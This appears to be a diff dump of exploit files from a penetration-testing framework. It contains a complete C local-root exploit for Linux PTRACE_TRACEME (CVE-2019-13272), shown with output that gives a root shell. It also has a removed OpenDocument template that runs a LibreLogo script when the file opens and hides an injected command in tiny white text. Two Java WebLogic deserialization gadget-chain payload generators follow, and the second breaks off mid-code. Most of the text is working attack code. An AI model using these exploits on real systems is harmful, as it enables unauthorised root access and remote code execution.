// - Kali kernel 4.19.0-kali5-amd64
|
||||
// - MX 18.3 kernel 4.19.37-2~mx17+1
|
||||
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
|
||||
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
|
||||
// - Debian 9.4.0 kernel 4.9.0-6-amd64
|
||||
// - Debian 10.0.0 kernel 4.19.0-5-amd64
|
||||
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
|
||||
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
|
||||
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
|
||||
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
|
||||
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
|
||||
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
|
||||
// - Antergos 18.7 kernel 4.17.6-1-ARCH
|
||||
// - lubuntu 19.04 kernel 5.0.0-13-generic
|
||||
// - Sabayon 19.03 kernel 4.20.0-sabayon
|
||||
// - Pop! OS 19.04 kernel 5.0.0-21-generic
|
||||
// ---
|
||||
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
|
||||
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// [.] Checking environment ...
|
||||
// [~] Done, looks good
|
||||
// [.] Searching policies for useful helpers ...
|
||||
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
|
||||
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
|
||||
// [.] Spawning suid process (/usr/bin/pkexec) ...
|
||||
// [.] Tracing midpid ...
|
||||
// [~] Attached to midpid
|
||||
// [root@localhost CVE-2019-13272]# id
|
||||
// uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
// [root@localhost CVE-2019-13272]# uname -a
|
||||
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// ---
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
#include <pwd.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/user.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/stat.h>
|
||||
#include <linux/elf.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
/*
|
||||
* enabled automatic targeting.
|
||||
* uses pkaction to search PolKit policy actions for viable helper executables.
|
||||
*/
|
||||
#define ENABLE_AUTO_TARGETING 1
|
||||
|
||||
/*
|
||||
* fall back to known helpers if automatic targeting fails.
|
||||
* note: use of these helpers may result in PolKit authentication
|
||||
* prompts on the session associated with the PolKit agent.
|
||||
*/
|
||||
#define ENABLE_FALLBACK_HELPERS 1
|
||||
|
||||
static const char *SHELL = "/bin/bash";
|
||||
|
||||
static int middle_success = 1;
|
||||
static int block_pipe[2];
|
||||
static int self_fd = -1;
|
||||
static int dummy_status;
|
||||
static const char *helper_path;
|
||||
static const char *pkexec_path = "/usr/bin/pkexec";
|
||||
static const char *pkaction_path = "/usr/bin/pkaction";
|
||||
struct stat st;
|
||||
|
||||
const char *helpers[1024];
|
||||
|
||||
/* known helpers to use if automatic targeting fails */
|
||||
#if ENABLE_FALLBACK_HELPERS
|
||||
const char *known_helpers[] = {
|
||||
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
|
||||
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
|
||||
"/usr/sbin/mate-power-backlight-helper",
|
||||
"/usr/sbin/xfce4-pm-helper",
|
||||
"/usr/bin/xfpm-power-backlight-helper",
|
||||
"/usr/bin/lxqt-backlight_backend",
|
||||
"/usr/libexec/gsd-wacom-led-helper",
|
||||
"/usr/libexec/gsd-wacom-oled-helper",
|
||||
"/usr/libexec/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-wacom-led-helper",
|
||||
"/usr/lib/gsd-wacom-oled-helper",
|
||||
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
|
||||
};
|
||||
#endif
|
||||
|
||||
/* helper executables known to cause problems (hang or fail) */
|
||||
const char *blacklisted_helpers[] = {
|
||||
"/xf86-video-intel-backlight-helper",
|
||||
"/cpugovctl",
|
||||
"/resetxpad",
|
||||
"/package-system-locked",
|
||||
"/cddistupgrader",
|
||||
};
|
||||
|
||||
#define SAFE(expr) ({ \
|
||||
typeof(expr) __res = (expr); \
|
||||
if (__res == -1) { \
|
||||
dprintf("[-] Error: %s\n", #expr); \
|
||||
return 0; \
|
||||
} \
|
||||
__res; \
|
||||
})
|
||||
#define max(a,b) ((a)>(b) ? (a) : (b))
|
||||
|
||||
/*
|
||||
* execveat() syscall
|
||||
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
|
||||
*/
|
||||
#ifndef __NR_execveat
|
||||
# define __NR_execveat 322
|
||||
#endif
|
||||
|
||||
/* temporary printf; returned pointer is valid until next tprintf */
|
||||
static char *tprintf(char *fmt, ...) {
|
||||
static char buf[10000];
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vsprintf(buf, fmt, ap);
|
||||
va_end(ap);
|
||||
return buf;
|
||||
}
|
||||
|
||||
/*
|
||||
* fork, execute pkexec in parent, force parent to trace our child process,
|
||||
* execute suid executable (pkexec) in child.
|
||||
*/
|
||||
static int middle_main(void *dummy) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
pid_t middle = getpid();
|
||||
|
||||
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
|
||||
|
||||
pid_t child = SAFE(fork());
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
|
||||
SAFE(dup2(self_fd, 42));
|
||||
|
||||
/* spin until our parent becomes privileged (have to be fast here) */
|
||||
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
|
||||
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
|
||||
while (1) {
|
||||
char buf[1000];
|
||||
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
|
||||
buf[buflen] = '\0';
|
||||
if (strstr(buf, needle)) break;
|
||||
}
|
||||
|
||||
/*
|
||||
* this is where the bug is triggered.
|
||||
* while our parent is in the middle of pkexec, we force it to become our
|
||||
* tracer, with pkexec's creds as ptracer_cred.
|
||||
*/
|
||||
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
|
||||
|
||||
/*
|
||||
* now we execute a suid executable (pkexec).
|
||||
* Because the ptrace relationship is considered to be privileged,
|
||||
* this is a proper suid execution despite the attached tracer,
|
||||
* not a degraded one.
|
||||
* at the end of execve(), this process receives a SIGTRAP from ptrace.
|
||||
*/
|
||||
execl(pkexec_path, basename(pkexec_path), NULL);
|
||||
|
||||
dprintf("[-] execl: Executing suid executable failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
SAFE(dup2(self_fd, 0));
|
||||
SAFE(dup2(block_pipe[1], 1));
|
||||
|
||||
/* execute pkexec as current user */
|
||||
struct passwd *pw = getpwuid(getuid());
|
||||
if (pw == NULL) {
|
||||
dprintf("[-] getpwuid: Failed to retrieve username");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
middle_success = 1;
|
||||
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
|
||||
helper_path,
|
||||
"--help", NULL);
|
||||
middle_success = 0;
|
||||
dprintf("[-] execl: Executing pkexec failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* ptrace pid and wait for signal */
|
||||
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
|
||||
struct user_regs_struct regs;
|
||||
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
|
||||
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
|
||||
SAFE(waitpid(pid, &dummy_status, 0));
|
||||
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
|
||||
|
||||
/* set up indirect arguments */
|
||||
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
|
||||
struct injected_page {
|
||||
unsigned long argv[2];
|
||||
unsigned long envv[1];
|
||||
char arg0[8];
|
||||
char path[1];
|
||||
} ipage = {
|
||||
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
|
||||
};
|
||||
strcpy(ipage.arg0, arg0);
|
||||
int i;
|
||||
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
|
||||
unsigned long pdata = ((unsigned long *)&ipage)[i];
|
||||
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
|
||||
(void*)pdata));
|
||||
}
|
||||
|
||||
/* execveat(exec_fd, path, argv, envv, flags) */
|
||||
regs.orig_rax = __NR_execveat;
|
||||
regs.rdi = exec_fd;
|
||||
regs.rsi = scratch_area + offsetof(struct injected_page, path);
|
||||
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
|
||||
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
|
||||
regs.r8 = AT_EMPTY_PATH;
|
||||
|
||||
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
|
||||
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
|
||||
SAFE(waitpid(pid, &dummy_status, 0));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int middle_stage2(void) {
|
||||
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
|
||||
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
|
||||
return force_exec_and_wait(child, 42, "stage3");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
|
||||
|
||||
static int spawn_shell(void) {
|
||||
SAFE(setresgid(0, 0, 0));
|
||||
SAFE(setresuid(0, 0, 0));
|
||||
execlp(SHELL, basename(SHELL), NULL);
|
||||
dprintf("[-] execlp: Executing shell %s failed", SHELL);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static int check_env(void) {
|
||||
int warn = 0;
|
||||
const char* xdg_session = getenv("XDG_SESSION_ID");
|
||||
|
||||
dprintf("[.] Checking environment ...\n");
|
||||
|
||||
if (stat(pkexec_path, &st) != 0) {
|
||||
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (xdg_session == NULL) {
|
||||
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
|
||||
dprintf("[!] Warning: Could not find active PolKit agent\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
|
||||
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
|
||||
warn++;
|
||||
}
|
||||
|
||||
if (stat("/usr/sbin/getsebool", &st) == 0) {
|
||||
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
|
||||
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
|
||||
warn++;
|
||||
}
|
||||
}
|
||||
|
||||
if (warn > 0) {
|
||||
dprintf("[~] Done, with %d warnings\n", warn);
|
||||
} else {
|
||||
dprintf("[~] Done, looks good\n");
|
||||
}
|
||||
|
||||
return warn;
|
||||
}
|
||||
|
||||
/*
|
||||
* Use pkaction to search PolKit policy actions for viable helper executables.
|
||||
* Check each action for allow_active=yes, extract the associated helper path,
|
||||
* and check the helper path exists.
|
||||
*/
|
||||
#if ENABLE_AUTO_TARGETING
|
||||
int find_helpers() {
|
||||
if (stat(pkaction_path, &st) != 0) {
|
||||
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
|
||||
FILE *fp;
|
||||
fp = popen(cmd, "r");
|
||||
if (fp == NULL) {
|
||||
dprintf("[-] Failed to run %s: %m\n", cmd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char line[1024];
|
||||
char buffer[2048];
|
||||
int helper_index = 0;
|
||||
int useful_action = 0;
|
||||
int blacklisted_helper = 0;
|
||||
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
|
||||
int needle_length = strlen(needle);
|
||||
|
||||
while (fgets(line, sizeof(line)-1, fp) != NULL) {
|
||||
/* check the action uses allow_active=yes */
|
||||
if (strstr(line, "implicit active:")) {
|
||||
if (strstr(line, "yes")) {
|
||||
useful_action = 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (useful_action == 0)
|
||||
continue;
|
||||
|
||||
useful_action = 0;
|
||||
|
||||
/* extract the helper path */
|
||||
int length = strlen(line);
|
||||
char* found = memmem(&line[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
continue;
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= sizeof(buffer)-1)
|
||||
continue;
|
||||
buffer[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
/* check helper path against helpers defined in 'blacklisted_helpers' array */
|
||||
blacklisted_helper = 0;
|
||||
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
|
||||
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
|
||||
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
|
||||
blacklisted_helper = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (blacklisted_helper == 1)
|
||||
continue;
|
||||
|
||||
/* check the path exists */
|
||||
if (stat(&buffer[0], &st) != 0) {
|
||||
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
|
||||
continue;
|
||||
}
|
||||
|
||||
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
|
||||
helper_index++;
|
||||
|
||||
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
|
||||
break;
|
||||
}
|
||||
|
||||
pclose(fp);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int ptrace_traceme_root() {
|
||||
dprintf("[.] Trying helper: %s\n", helper_path);
|
||||
|
||||
/*
|
||||
* set up a pipe such that the next write to it will block: packet mode,
|
||||
* limited to one packet
|
||||
*/
|
||||
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
|
||||
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
|
||||
char dummy = 0;
|
||||
SAFE(write(block_pipe[1], &dummy, 1));
|
||||
|
||||
/* spawn pkexec in a child, and continue here once our child is in execve() */
|
||||
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
|
||||
static char middle_stack[1024*1024];
|
||||
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
|
||||
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
|
||||
if (!middle_success) return 1;
|
||||
|
||||
/*
|
||||
* wait for our child to go through both execve() calls (first pkexec, then
|
||||
* the executable permitted by polkit policy).
|
||||
*/
|
||||
while (1) {
|
||||
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
|
||||
char buf[16];
|
||||
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
|
||||
buf[buflen] = '\0';
|
||||
*strchrnul(buf, '\n') = '\0';
|
||||
if (strncmp(buf, basename(helper_path), 15) == 0)
|
||||
break;
|
||||
usleep(100000);
|
||||
}
|
||||
|
||||
/*
|
||||
* our child should have gone through both the privileged execve() and the
|
||||
* following execve() here
|
||||
*/
|
||||
dprintf("[.] Tracing midpid ...\n");
|
||||
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
|
||||
SAFE(waitpid(midpid, &dummy_status, 0));
|
||||
dprintf("[~] Attached to midpid\n");
|
||||
|
||||
force_exec_and_wait(midpid, 0, "stage2");
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (strcmp(argv[0], "stage2") == 0)
|
||||
return middle_stage2();
|
||||
if (strcmp(argv[0], "stage3") == 0)
|
||||
return spawn_shell();
|
||||
|
||||
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
|
||||
|
||||
check_env();
|
||||
|
||||
if (argc > 1 && strcmp(argv[1], "check") == 0) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int i;
|
||||
|
||||
#if ENABLE_AUTO_TARGETING
|
||||
/* search polkit policies for helper executables */
|
||||
dprintf("[.] Searching policies for useful helpers ...\n");
|
||||
find_helpers();
|
||||
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
|
||||
if (helpers[i] == NULL)
|
||||
break;
|
||||
|
||||
if (stat(helpers[i], &st) != 0)
|
||||
continue;
|
||||
|
||||
helper_path = helpers[i];
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
#endif
|
||||
|
||||
#if ENABLE_FALLBACK_HELPERS
|
||||
/* search for known helpers defined in 'known_helpers' array */
|
||||
dprintf("[.] Searching for known helpers ...\n");
|
||||
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
|
||||
if (stat(known_helpers[i], &st) != 0)
|
||||
continue;
|
||||
|
||||
helper_path = known_helpers[i];
|
||||
dprintf("[~] Found known helper: %s\n", helper_path);
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
#endif
|
||||
|
||||
dprintf("[~] Done\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,42 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
|
||||
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
|
||||
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
|
||||
<office:styles>
|
||||
<style:default-style style:family="graphic">
|
||||
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
|
||||
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
|
||||
<style:tab-stops/>
|
||||
</style:paragraph-properties>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="paragraph">
|
||||
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table">
|
||||
<style:table-properties table:border-model="collapsing"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table-row">
|
||||
<style:table-row-properties fo:keep-together="auto"/>
|
||||
</style:default-style>
|
||||
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
|
||||
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
|
||||
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
|
||||
</style:style>
|
||||
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
|
||||
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
|
||||
</style:style>
|
||||
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
|
||||
</office:styles>
|
||||
<office:master-styles>
|
||||
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
|
||||
</office:master-styles>
|
||||
<office:body>
|
||||
<office:text>
|
||||
<text:p text:style-name="P8"><%= @cmd %></text:p>
|
||||
<text:p text:style-name="Standard">#<%= text_content %></text:p>
|
||||
</office:text>
|
||||
</office:body>
|
||||
</office:document>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,54 +0,0 @@
|
||||
import com.tangosol.util.filter.LimitFilter;
|
||||
import com.tangosol.util.extractor.ChainedExtractor;
|
||||
import com.tangosol.util.extractor.ReflectionExtractor;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/*
|
||||
* BadAttributeValueExpException.readObject()
|
||||
* com.tangosol.util.filter.LimitFilter.toString()
|
||||
* com.tangosol.util.extractor.ChainedExtractor.extract()
|
||||
* com.tangosol.util.extractor.ReflectionExtractor.extract()
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
*
|
||||
* PoC by Y4er
|
||||
*/
|
||||
public class Weblogic_2555
|
||||
{
|
||||
public static void main(String args[]) throws Exception
|
||||
{
|
||||
ReflectionExtractor extractor = new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] });
|
||||
ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{ null, new Object[0] });
|
||||
ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{ new String[]{ "/bin/sh", "-c", "touch /tmp/blah_ze_blah" } });
|
||||
|
||||
ReflectionExtractor extractors[] = { extractor, extractor2, extractor3 };
|
||||
ChainedExtractor chainedExt = new ChainedExtractor(extractors);
|
||||
LimitFilter limitFilter = new LimitFilter();
|
||||
|
||||
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
|
||||
m_comparator.setAccessible(true);
|
||||
m_comparator.set(limitFilter, chainedExt);
|
||||
|
||||
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
|
||||
m_oAnchorTop.setAccessible(true);
|
||||
m_oAnchorTop.set(limitFilter, Runtime.class);
|
||||
|
||||
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
|
||||
field.setAccessible(true);
|
||||
field.set(badAttributeValueExpException, limitFilter);
|
||||
|
||||
// Serialize object & save to file
|
||||
FileOutputStream fos = new FileOutputStream("payload_obj.ser");
|
||||
ObjectOutputStream os = new ObjectOutputStream(fos);
|
||||
os.writeObject(badAttributeValueExpException);
|
||||
os.close();
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,63 +0,0 @@
|
||||
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
|
||||
import com.tangosol.util.ValueExtractor;
|
||||
import com.tangosol.util.comparator.ExtractorComparator;
|
||||
import com.tangosol.util.extractor.ChainedExtractor;
|
||||
import com.tangosol.util.extractor.ReflectionExtractor;
|
||||
import com.supeream.serial.Reflections;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.PriorityQueue;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
/*
|
||||
* java.util.PriorityQueue.readObject()
|
||||
* java.util.PriorityQueue.heapify()
|
||||
* java.util.PriorityQueue.siftDown()
|
||||
* java.util.PriorityQueue.siftDownUsingComparator()
|
||||
* com.tangosol.util.extractor.AbstractExtractor.compare()
|
||||
* com.tangosol.util.extractor.MultiExtractor.extract()
|
||||
* com.tangosol.util.extractor.ChainedExtractor.extract()
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
*
|
||||
* PoC by Y4er
|
||||
*/
|
||||
public class Weblogic_2883
|
||||
{
|
||||
public static void main(String args[]) throws Exception
|
||||
{
|
||||
ReflectionExtractor extractor = new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] });
|
||||
ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{ null, new Object[0] });
|
||||
ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{ new String[]{ "/bin/sh", "-c", "touch /tmp/blah_ze_blah" } });
|
||||
|
||||
ValueExtractor extractors[] = { new ConstantExtractor(Runtime.class), extractor, extractor2, extractor3 };
|
||||
ChainedExtractor chainedExt = new ChainedExtractor(extractors);
|
||||
|
||||
Class clazz = ChainedExtractor.class.getSuperclass();
|
||||
